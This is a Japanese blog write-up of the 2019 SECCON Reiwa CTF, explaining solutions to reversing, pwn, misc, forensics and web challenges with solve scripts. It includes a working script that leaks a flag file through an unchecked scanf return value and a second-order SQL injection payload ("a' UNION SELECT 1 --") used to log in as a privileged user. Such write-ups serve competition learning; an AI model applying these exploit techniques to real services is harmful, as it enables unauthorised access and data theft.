16
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

SECCON 令和CTF Write-up

Last updated at Posted at 2019-04-30

平成30年4月30日23時から令和元年5月1日1時まで2時間のコンテスト……の予定が最初はスコアサーバーにまともに繋がらなかったから令和元年5月2日2時までの3時間のコンテストになった。

2時間(予定)で何をするのかと気になっていた。問題が少ない&簡単なコンテストだった。

個人戦。私は、6問解いて510点9位。

Binary

和暦の流れ

プログラム"reiwa"に隠されたフラグをゲットせよ。

32bit ELFバイナリ。入力された文字列をSとして、S[i]^A[i]=B[i]が成り立つかをチェックしている。A[i]^B[i]を求めれば良い。下記のプログラムのespは、問題バイナリをgdbで動かして、$espをダンプした。Windows Subsystem for Linuxで32bitバイナリが動かなくてつらい。

solve.py
esp = [
0x14, 0x8a, 0x04, 0x08, 0xa6, 0xd3, 0xff, 0xff,
0x71, 0xea, 0xb1, 0x07, 0x24, 0xd4, 0xff, 0xff,
0xa4, 0xd3, 0xff, 0xff, 0xe0, 0xf3, 0xfc, 0xf7,
0x00, 0x00, 0x00, 0x00, 0x01, 0x09, 0x16, 0x00,
0x00, 0x00, 0x53, 0x48, 0x4f, 0x57, 0x41, 0x00,
0x00, 0x00, 0x10, 0x00, 0x04, 0x10, 0x00, 0x48,
0x45, 0x49, 0x53, 0x45, 0x49, 0x00, 0x68, 0x6f,
0x67, 0x65, 0x68, 0x6f, 0x67, 0x65, 0x68, 0x6f,
0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x0c,
0x74, 0x03, 0x6c, 0x1b, 0x68, 0x11, 0x7e, 0x13,
0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x40, 0xd9, 0xff, 0xf7, 0xc2, 0x00, 0x57, 0x65,
]

print "".join(chr(esp[0x1c+i]^esp[0x22+i]) for i in range(5))
print "".join(chr(esp[0x28+i]^esp[0x2f+i]) for i in range(6))
>py -2 solve.py
RAYWA
HEYSAY
$ ./reiwa
Welcome to New Era! Please answer the name of New Era! RAYWA
Welcome to New Era! Please answer the name of Old Era! HEYSAY
SECCON{M-T-S-H-R}

SECCON{M-T-S-H-R}

令和コード

Restruct by REIWA code

解けなかった。「Matsushita MN10300」とは……。

$ file runme
runme: ELF 32-bit LSB executable, Matsushita MN10300, version 1 (SYSV), statically linked, not stripped

追記。解いた。

./configure --enable-targets=all --enable-64-bit-bfd でビルドしたbinutilsのobjdumpならばディスアセンブルできる。

全部入りbinutils - 七誌の開発日記

runme.asm
 :
000014fe <_random_init>:
    14fe:	fc 81 00 18 	mov	d0,(1800 <_gp>)
    1502:	00 00 
    1504:	de 00 00    	retf	[],0

00001507 <_get_random_value>:
    1507:	fc a4 00 18 	mov	(1800 <_gp>),d0
    150b:	00 00 
    150d:	81          	mov	d0,d1
    150e:	f8 c1 0d    	asl	13,d1
    1511:	f2 24       	xor	d1,d0
    1513:	81          	mov	d0,d1
    1514:	f8 c5 11    	lsr	17,d1
    1517:	f2 24       	xor	d1,d0
    1519:	81          	mov	d0,d1
    151a:	f8 c1 0f    	asl	15,d1
    151d:	f2 24       	xor	d1,d0
    151f:	fc 81 00 18 	mov	d0,(1800 <_gp>)
    1523:	00 00 
    1525:	de 00 00    	retf	[],0

00001528 <_decode>:
    1528:	cf 20       	movm	[a2],(sp)
    152a:	f8 fe f4    	add	-12,sp
    152d:	f1 e2       	mov	d0,a2
    152f:	f0 42       	movbu	(a2),d0
    1531:	a0 00       	cmp	0,d0
    1533:	c8 24       	beq	1557 <.L22>

00001535 <.L24>:
    1535:	cd d2 ff 00 	call	1507 <_get_random_value>,[],0
    1539:	00 

0000153a <_destruct_code>:
    153a:	22 fc       	add	-4,a2
    153c:	21 ff       	add	-1,a1
    153e:	22 ff       	add	-1,a2
    1540:	f8 cb 02    	asr	2,d3
    1543:	20 ff       	add	-1,a0

00001545 <_restruct_code>:
    1545:	cb          	nop	
    1546:	cb          	nop	
    1547:	cb          	nop	
    1548:	cb          	nop	
    1549:	cb          	nop	
    154a:	f0 46       	movbu	(a2),d1
    154c:	f2 21       	xor	d0,d1
    154e:	f0 56       	movbu	d1,(a2)
    1550:	49          	inc	a2
    1551:	f0 42       	movbu	(a2),d0
    1553:	a0 00       	cmp	0,d0
    1555:	c9 e0       	bne	1535 <.L24>

00001557 <.L22>:
    1557:	80 00       	mov	0,d0
    1559:	df 20 10    	ret	[a2],16

0000155c <_main>:
    155c:	cf 80       	movm	[d2],(sp)
    155e:	f8 fe f4    	add	-12,sp
    1561:	fc cc a2 8c 	mov	-1831433054,d0
    1565:	d6 92 
    1567:	cd 97 ff 00 	call	14fe <_random_init>,[],0
    156b:	00 
    156c:	fc cc b1 15 	mov	5553,d0
    1570:	00 00 
    1572:	cd 69 ff 00 	call	14db <_puts>,[],0
    1576:	00 
    1577:	fc cc 45 15 	mov	5445,d0
    157b:	00 00 
    157d:	cd 3a ff 00 	call	14b7 <_gets>,[],0
    1581:	00 
    1582:	fc ce 04 18 	mov	6148,d2
    1586:	00 00 
    1588:	88          	mov	d2,d0
    1589:	cd 9f ff 00 	call	1528 <_decode>,[],0
    158d:	00 
    158e:	fc cc c7 15 	mov	5575,d0
    1592:	00 00 
    1594:	cd 47 ff 00 	call	14db <_puts>,[],0
    1598:	00 
    1599:	88          	mov	d2,d0
    159a:	cd 41 ff 00 	call	14db <_puts>,[],0
    159e:	00 
    159f:	fc cc c5 15 	mov	5573,d0
    15a3:	00 00 
    15a5:	cd 36 ff 00 	call	14db <_puts>,[],0
    15a9:	00 
    15aa:	80 00       	mov	0,d0
    15ac:	cd b5 fe 00 	call	1461 <_exit>,[],0
    15b0:	00 

_restruct_codenopの部分にgetsでコードを読みこんで実行するようになっている。問題文に従って、REIWAを入力すると、

00001545 <_restruct_code>:
    1545:       52              inc4    a2
    1546:       45              inc     a1
    1547:       49              inc     a2
    1548:       57              asl2    d3
    1549:       41              inc     a0
    154a:       f0 46           movbu   (a2),d1

となる。実行環境が無いのでコードを読むとxorshiftで生成した値をxorする処理。ただし、Wikipediaの実装例と異なり、最後の左シフトが5ではなく15になっている。

solve.py
r = 0x92d68ca2
def get_random_value():
  global r
  r ^= r<<13&0xffffffff
  r ^= r>>17&0xffffffff
  r ^= r<<15&0xffffffff
  return r

d = [
  0x50, 0x77, 0x1f, 0xd3, 0x1e, 0x1f, 0xfb, 0xb4,
  0x20, 0x5e, 0xc5, 0xa5, 0xdc, 0x2e, 0xf7, 0x62,
  0xd3, 0xae, 0x16, 0x1e, 0x82, 0x44, 0x09, 0x72,
  0xba, 0x39]
for i in range(len(d)):
  d[i] ^= get_random_value()&0xff
print "".join(map(chr, d))

SECCON{MachineCodeOfREIWA}

零和アセンブリ

0 solvedだったので、無理だろうと思ってスルー。

Pwnable

和暦

最後のほうで解き方が分かったけれど、間に合わなかった。悔しい。

西暦を和暦に変換してくれるよ
nc wareki-o-reiwa.seccon.jp 36294

$ nc wareki-o-reiwa.seccon.jp 36294
西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 2

オフセット >> 0
Done!

1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1

西暦 >> 2020
変換しますか?(Yes:1, No:Others) >> 1
変換結果:令和 2 年

1: 和暦変換
2: フラグ読み込み
0: 終了

「フラグ読み込み」ではflag.txtを指定されたオフセットにfseekしてから、スタックに確保された辺数に読みこむ。「和暦変換」で未初期化変数を読み出すことができれば、それはflag.txtの一部。

元号のテーブルの範囲外アクセスとか、32bitと64bitの変数の取り違えとかを疑ったけれど、そんなことはなかった。

scanfの返り値をチェックしていないことが脆弱性。scanfに数値として解釈できない値を入力すると、引数に指定された変数に値は書き込まれない。ただし、例えばabcなどと入力すると、その入力はそのまま次のscanfに回されて、「変換しますか?」が失敗してしまう。最初は意図が分からなかった「変換しますか?」はこのためだった。色々と試して、-に気が付いた。1回目のscanfは失敗するが、-は消費するので、2回目のscanfは普通に入力を受け付ける。

flag.txtには「天皇陛下のおことば」が載っていてサイズが大きく、30秒で切断されるので、一度では読み込めない。

solve.py
from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("wareki-o-reiwa.seccon.jp", 36294))

def read():
  d = ""
  while not (len(d)>=3 and d[-3:]==">> "):
    d += s.recv(9999)
  return d

print read()
ans = ""
for i in range(750,804):
  s.send("2\n")
  print read()
  s.send("%s\n"%(i*8))
  print read()
  s.send("1\n")
  print read()
  s.send("-\n")
  print read()
  s.send("1\n")
  t = read()
  print t
  print i
  reiwa = int(t.split(" ")[1])
  print reiwa
  ans += ("%016x"%(reiwa+2018)).decode("hex")[::-1]

open("flag.txt","wb").write(ans)
flag.txt
??は,幸せなことでした。象徴としての私を受け入れ,支えてくれた国民に,心から感謝します。
明日から始まる新しい令和の時代が,平和で実り多くあることを,皇后と共に心から願い,ここに我が国と世界の人々の安寧と幸せを祈ります。

http://www.kunaicho.go.jp/page/okotoba/detail/46#155

=====

FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}
    

SECCON{WAREKI_g035_0n_f0r3v3r}

Misc

フラグの例は?

平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。

SECCON{reiwa}

bREInWAck

元号が変わる。記号も変わる。

参考: https://ja.wikipedia.org/wiki/Brainfuck

flag.bw
令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

Brainfuckの文字を置換したもの。[]。最後にあるから、.は数が多いので+。次に多いのがで、>だろうか。それなら、「令和」と「平成」の対応を考えれば、「平」が<、「成」が-。そんなにパターン数が多いわけでもないので、何も考えず全組み合わせを試せば良かったかもしれない。

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

適当なBrainfuckのインタプリタで実行するとフラグが出てくる。

SECCON{bREIn_WAnic!}

零は?

nc zerois-o-reiwa.seccon.jp 23615

$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=53-?
?=53
[2/100]
0=41*?-902
?=

後のほうはこんな感じ。

[32/100]
0=18-26+2*?+2*5-88*12-96+39*61+1-98+41-7*60*77+84-20-43+32*3*85-78+74-66*15+23*16+77-21*61+24686
?=

2桁の整数の積の和差しか出てこない。最後の数字で辻褄を合わせている。最後の数字が?になることもあるので、2桁の整数を探索するだけではダメ。

右辺の?を置換してevalし、0になるか調べた。

solve.py
from socket import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("zerois-o-reiwa.seccon.jp", 23615))

for _ in range(100):
  d = ""
  while not (len(d)>=2 and d[-2:]=="?="):
    d += s.recv(999)
  print d
  q = d.split("\n")[1][2:]
  a = 0
  while True:
    if eval(q.replace("?", str(a)))==0:
      break
    a += 1
  print a
  s.send(str(a)+"\n")
sleep(3)
d = s.recv(999)
print d
>py -2 solve.py
[1/100]
0=?-21
?=
21
[2/100]
0=?-31+13
?=
18
[3/100]
 :
[99/100]
0=30+29-45*68+73*86-78*94-87+21+71*78-96-93+44*45-31*8+6+68*46-37+27-87*85-42*66+75*50-37+60*12-81+63+62-16*54+55*48-8-96+18*78+43-45*94+21-57*53*39-61+81*25+39-7*51+59-78-9*70+45-1*92+57*3+79-97+20*50-36-66*45+9+78*95-7*14+51-37*39-0+25+53*65-64-60*90+48*22+44-78+87*41-18-?*0+95-95+5+110907
?=
0
[100/100]
0=60+22-11*48-40+54*95*26-20+74+80-82*4-20+7*90*47-7+2-63+47*89+14*94-68+58*35-45+74-97*77*31-64+69+3-84*52-56*36+10-47*44+38-83+77*13*80-95+66+43-38*41+6*93-43*42-55+55*93-32+86-69*83+43+88-75*49*92-1+49-20*95+39*14+84-65-19*86+45+52-50*55-6+6*82-22+61*71-27+48*34+74*75-11+67*12-22-0*?+20+324433
?=
0
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.

SECCON{REIWA_is_not_ZERO_IS}

Forensic

見えないよ!

SECCON{overlay_overlap_overera}

元号発表記者会見ネタ。(Readerではない)Acrobatを持っていれば、「オブジェクトを編集」で動かせば良い。QRコードに「令和」と書かれていて読み込めず、「QRコードの解析は面倒だな……」と思ったけれど、官房長官を動かすと裏に切り抜かれた部分があった。

適当な画像編集ソフトで白い部分を透明にして重ねれば良い。ペイントでもできる(選択→透明の選択)。

image.png

SECCON{overlay_overlap_overera}

Web

reiwaVote

「令和」を新元号として選出せよ!

pass: notvirus

「投票する」をクリックすると、ブラウザで投票サイトが開かれる。SQL Injectionを起こすような、ユーザー名で登録し、ログインするとSecond-order SQL injection(?)が起こる。

ここからどうすれば良いのか悩んだ。Web問なのにローカルで動かす問題で、データベースなどブラウザ経由で取れるところにフラグが無い。

メモリをダンプして眺めていると、

UPDATE tblUsers SET Importance=(SELECT COUNT(*) FROM tblUsers) WHERE User='shinzo';

SELECT GengoId, EraE, EraJ, SUM(Importance) AS Votes FROM tblVotes v, tblUsers u, tblEras e WHERE v.UserId=u.Id AND v.GengoId=e.Id GROUP BY GengoId ORDER BY Votes DESC;

というSQL文を見つけた。shinzoというユーザーは、ユーザー数と同じだけのImportanceを持っているらしい。

shinzoId1らしく、

ID: a' UNION SELECT 1 --
Pass: hoge

でユーザーを作成してログインすると、shinzoになれて、「令和」に投票すると、「令和」がトップになる。

SECCON{e32afd2cf7b98e41cf70fed}

16
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
16
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?